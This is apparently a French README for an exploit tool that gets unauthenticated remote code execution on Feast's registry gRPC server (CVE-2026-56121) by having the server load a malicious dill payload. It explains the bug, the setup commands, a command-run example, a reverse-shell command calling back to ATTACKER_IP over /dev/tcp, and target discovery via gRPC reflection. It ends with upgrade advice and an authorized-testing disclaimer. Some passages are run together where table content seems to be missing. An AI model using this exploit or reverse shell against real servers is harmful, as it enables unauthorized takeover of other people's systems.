
Exploit RCE non authentifié pour le serveur gRPC du registre Feast (CVE-2026-56121) utilisant la désérialisation dill. Inclut la génération de payload, le support de reverse shell, et l'identification des cibles via la réflexion gRPC.
Exécution de code à distance non authentifiée dans le serveur gRPC du registre du feature store Feast.
Le RPC ApplyFeatureView reconstruit un OnDemandFeatureView à partir du proto de la requête. Pour ce faire, il décode en base64 spec.user_defined_function.body et le transmet à dill.loads() — avant toute vérification d'autorisation. dill est un sur-ensemble de pickle, donc un objet dont __reduce__ renvoie (os.system, (cmd,)) exécute une commande arbitraire au moment où le serveur le désérialise. Le déploiement par défaut fournit , donc une seule requête gRPC non authentifiée sur le port du registre suffit.
auth: no_auth< 0.63.00.63.06570 (registre gRPC)L'exploit réutilise les protos gRPC générés par Feast lui-même, installez donc une version vulnérable de Feast du côté de l'attaquant :
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# quick check (output appears on the SERVER, not locally)
python3 exploit.py 10.10.10.10:6570 -c "id"
# reverse shell (bash -c wrapper: os.system uses /bin/sh, which lacks /dev/tcp)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
-p/--project définit le nom du projet (par défaut feature_repo). La sortie de la commande s'imprime sur stdout/journal de l'hôte du registre, utilisez donc un reverse shell ou écrivez dans un chemin lisible pour observer les résultats.
Le registre a la réflexion gRPC activée :
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
Mettez à niveau vers Feast 0.63.0+, activez un backend d'authentification et n'exposez jamais le port gRPC du registre à des réseaux non fiables.
Pour les tests de sécurité autorisés et l'éducation uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester.